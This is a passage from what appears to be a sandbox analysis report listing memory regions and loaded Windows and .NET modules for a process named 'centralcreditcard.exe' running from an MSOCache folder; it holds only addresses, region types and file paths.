0xce7fff monitored = 1 entry_point = 0xcdf1ee region_type = mapped_file name = "centralcreditcard.exe" filename = "\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe" (normalized: "c:\\msocache\\all users\\{90160000-00e1-0409-1000-0000000ff1ce}-c\\centralcreditcard.exe") Region: id = 7531 start_va = 0x77810000 end_va = 0x779b8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7532 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 7533 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7534 start_va = 0x7feffb30000 end_va = 0x7feffb30fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 7535 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 7536 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 7537 start_va = 0x7fffffde000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 7538 start_va = 0x140000 end_va = 0x2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 7539 start_va = 0x7fefa8a0000 end_va = 0x7fefa90efff monitored = 1 entry_point = 0x7fefa8a1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 7540 start_va = 0x775f0000 end_va = 0x7770efff monitored = 0 entry_point = 0x77605340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7541 start_va = 0x7fefd810000 end_va = 0x7fefd87bfff monitored = 0 entry_point = 0x7fefd812780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7542 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 7543 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 7544 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 7545 start_va = 0x140000 end_va = 0x1a6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7546 start_va = 0x280000 end_va = 0x2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 7547 start_va = 0x300000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 7548 start_va = 0x300000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 7549 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 7732 start_va = 0x480000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 7740 start_va = 0x7fefe4d0000 end_va = 0x7fefe5aafff monitored = 0 entry_point = 0x7fefe4f0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7741 start_va = 0x7fefdb30000 end_va = 0x7fefdbcefff monitored = 0 entry_point = 0x7fefdb325a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7742 start_va = 0x7feffa50000 end_va = 0x7feffa6efff monitored = 0 entry_point = 0x7feffa560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7743 start_va = 0x7fefe3a0000 end_va = 0x7fefe4ccfff monitored = 0 entry_point = 0x7fefe3eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7744 start_va = 0x670000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 7745 start_va = 0x480000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 7746 start_va = 0x5f0000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 7747 start_va = 0x7fef7fc0000 end_va = 0x7fef8068fff monitored = 1 entry_point = 0x7fef7fc1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 7849 start_va = 0x7fefa890000 end_va = 0x7fefa892fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 7852 start_va = 0x7fefdef0000 end_va = 0x7fefdf60fff monitored = 0 entry_point = 0x7fefdf01e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 7853 start_va = 0x7fefdce0000 end_va = 0x7fefdd46fff monitored = 0 entry_point = 0x7fefdceb03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 7854 start_va = 0x77710000 end_va = 0x77809fff monitored = 0 entry_point = 0x7772a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 7855 start_va = 0x7feffa70000 end_va = 0x7feffa7dfff monitored = 0 entry_point = 0x7feffa71080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 7856 start_va = 0x7feff340000 end_va = 0x7feff408fff monitored = 0 entry_point = 0x7feff3ba874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 7998 start_va = 0x1b0000 end_va = 0x1d8fff monitored = 0 entry_point = 0x1b1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7999 start_va = 0x670000 end_va = 0x7f7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000670000" filename = "" Region: id = 8000 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 8001 start_va = 0x1b0000 end_va = 0x1d8fff monitored = 0 entry_point = 0x1b1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 8002 start_va = 0x7fefdcb0000 end_va = 0x7fefdcddfff monitored = 0 entry_point = 0x7fefdcb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 8003 start_va = 0x7feff410000 end_va = 0x7feff518fff monitored = 0 entry_point = 0x7feff411064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 8004 start_va = 0x820000 end_va = 0x9a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000820000" filename = "" Region: id = 8005 start_va = 0xcf0000 end_va = 0x20effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000cf0000" filename = "" Region: id = 8252 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 8253 start_va = 0x1b0000 end_va = 0x1b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 8254 start_va = 0x9b0000 end_va = 0xa80fff monitored = 1 entry_point = 0xa7f1ee region_type = mapped_file name = "centralcreditcard.exe" filename = "\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe" (normalized: "c:\\msocache\\all users\\{90160000-00e1-0409-1000-0000000ff1ce}-c\\centralcreditcard.exe") Region: id = 8277 start_va = 0x9b0000 end_va = 0xa80fff monitored = 1 entry_point = 0xa7f1ee region_type = mapped_file name = "centralcreditcard.exe" filename = "\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe" (normalized: "c:\\msocache\\all users\\{90160000-00e1-0409-1000-0000000ff1ce}-c\\centralcreditcard.exe") Region: id = 8278 start_va = 0x7fefc920000 end_va = 0x7fefc92bfff monitored = 0 entry_point = 0x7fefc921064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 8294 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8349 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8480 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8481 start_va = 0x7fef3f00000 end_va = 0x7fef3f15fff monitored = 0 entry_point = 0x7fef3f0c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 8482 start_va = 0x7fef3e40000 end_va = 0x7fef3efcfff monitored = 0 entry_point = 0x7fef3ec7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 8545 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 8546 start_va = 0x1d0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 8547 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 8548 start_va = 0x7fe948e0000 end_va = 0x7fe948effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe948e0000" filename = "" Region: id = 8549 start_va = 0x7fe948f0000 end_va = 0x7fe948fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe948f0000" filename = "" Region: id = 8550 start_va = 0x7fe94900000 end_va = 0x7fe9498ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94900000" filename = "" Region: id = 8551 start_va = 0x7fe94990000 end_va = 0x7fe949fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94990000" filename = "" Region: id = 8552 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 8553 start_va = 0x200000 end_va = 0x200fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 8554 start_va = 0x9b0000 end_va = 0xa4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009b0000" filename = "" Region: id = 8555 start_va = 0xa50000 end_va = 0xb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 8623 start_va = 0x21f0000 end_va = 0x22effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Region: id = 8624 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 8625 start_va = 0x210000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 8626 start_va = 0x22f0000 end_va = 0x1a2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022f0000" filename = "" Region: id = 8658 start_va = 0x1a2f0000 end_va = 0x1a66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a2f0000" filename = "" Region: id = 8659 start_va = 0x1a670000 end_va = 0x1a770fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a670000" filename = "" Region: id = 8660 start_va = 0x1a950000 end_va = 0x1aa4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a950000" filename = "" Region: id = 8661 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 8688 start_va = 0x20f0000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020f0000" filename = "" Region: id = 8689 start_va = 0x1a850000 end_va = 0x1a94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a850000" filename = "" Region: id = 8690 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 8708 start_va = 0x1aa50000 end_va = 0x1ad1efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8723 start_va = 0x7fef2840000 end_va = 0x7fef3e3cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 8788 start_va = 0x7fefe060000 end_va = 0x7fefe262fff monitored = 0 entry_point = 0x7fefe083330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8789 start_va = 0xb30000 end_va = 0xbacfff monitored = 0 entry_point = 0xb3cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8790 start_va = 0xb30000 end_va = 0xbacfff monitored = 0 entry_point = 0xb3cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8791 start_va = 0x7fefd690000 end_va = 0x7fefd69efff monitored = 0 entry_point = 0x7fefd691010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 8876 start_va = 0x7fefc0b0000 end_va = 0x7fefc105fff monitored = 0 entry_point = 0x7fefc0bbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 8877 start_va = 0x1ad20000 end_va = 0x1ae8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 8878 start_va = 0xb30000 end_va = 0xc0efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b30000" filename = "" Region: id = 8879 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 8880 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 8881 start_va = 0x7fe94a00000 end_va = 0x7fe94a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a00000" filename = "" Region: id = 8886 start_va = 0x7fe94a80000 end_va = 0x7fe94a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a80000" filename = "" Region: id = 8887 start_va = 0x7fe94a90000 end_va = 0x7fe94a9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a90000" filename = "" Region: id = 8915 start_va = 0x7fef7460000 end_va = 0x7fef7462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 8930 start_va = 0x7fef5450000 end_va = 0x7fef559efff monitored = 1 entry_point = 0x7fef5451090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 8955 start_va = 0x210000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 8957 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 8958 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 8959 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 9002 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 9017 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 9032 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 9047 start_va = 0x1ae90000 end_va = 0x1b03ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae90000" filename = "" Region: id = 9067 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 9110 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 9111 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 9112 start_va = 0x240000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 9137 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 9138 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 9161 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 9180 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 9197 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 9205 start_va = 0x400000 end_va = 0x461fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorrc.dll") Region: id = 9278 start_va = 0x590000 end_va = 0x5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 9279 start_va = 0x1aeb0000 end_va = 0x1afaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aeb0000" filename = "" Region: id = 9280 start_va = 0x1afc0000 end_va = 0x1b03ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001afc0000" filename = "" Region: id = 9281 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 9282 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 9316 start_va = 0x1b200000 end_va = 0x1b2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b200000" filename = "" Region: id = 9317 start_va = 0x7fefd070000 end_va = 0x7fefd087fff monitored = 0 entry_point = 0x7fefd073b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 9318 start_va = 0x7ffffefc000 end_va = 0x7ffffefdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefc000" filename = "" Region: id = 9319 start_va = 0x220000 end_va = 0x264fff monitored = 0 entry_point = 0x221064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9320 start_va = 0x220000 end_va = 0x264fff monitored = 0 entry_point = 0x221064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9321 start_va = 0x220000 end_va = 0x264fff monitored = 0 entry_point = 0x221064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9322 start_va = 0x220000 end_va = 0x264fff monitored = 0 entry_point = 0x221064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9323 start_va = 0x220000 end_va = 0x264fff monitored = 0 entry_point = 0x221064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9324 start_va = 0x7fefcd70000 end_va = 0x7fefcdb6fff monitored = 0 entry_point = 0x7fefcd71064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9420 start_va = 0x7fefd740000 end_va = 0x7fefd753fff monitored = 0 entry_point = 0x7fefd7410e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 9421 start_va = 0x1b3d0000 end_va = 0x1b4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3d0000" filename = "" Region: id = 9422 start_va = 0x7ffffefa000 end_va = 0x7ffffefbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefa000" filename = "" Region: id = 9465 start_va = 0x1b580000 end_va = 0x1b67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b580000" filename = "" Region: id = 9466 start_va = 0x7ffffef8000 end_va = 0x7ffffef9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef8000" filename = "" Region: id = 9505 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 9535 start_va = 0x1b770000 end_va = 0x1b86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b770000" filename = "" Region: id = 9536 start_va = 0x7ffffef6000 end_va = 0x7ffffef7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef6000" filename = "" Region: id = 9552 start_va = 0x7fef1bd0000 end_va = 0x7fef283efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 9572 start_va = 0x7fef5250000 end_va = 0x7fef5444fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 9590 start_va = 0x7fef0b20000 end_va = 0x7fef1bc5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 9610 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 9611 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 9689 start_va = 0x7fef8940000 end_va = 0x7fef8955fff monitored = 1 entry_point = 0x7fef894e5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 9690 start_va = 0x1b870000 end_va = 0x1bb41fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Region: id = 9691 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 9692 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 9693 start_va = 0x240000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 9694 start_va = 0x250000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 9695 start_va = 0x260000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 9812 start_va = 0x270000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 9813 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 9814 start_va = 0x590000 end_va = 0x59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 9815 start_va = 0x5a0000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 9816 start_va = 0x5b0000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 9817 start_va = 0x5c0000 end_va = 0x5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 9818 start_va = 0x5d0000 end_va 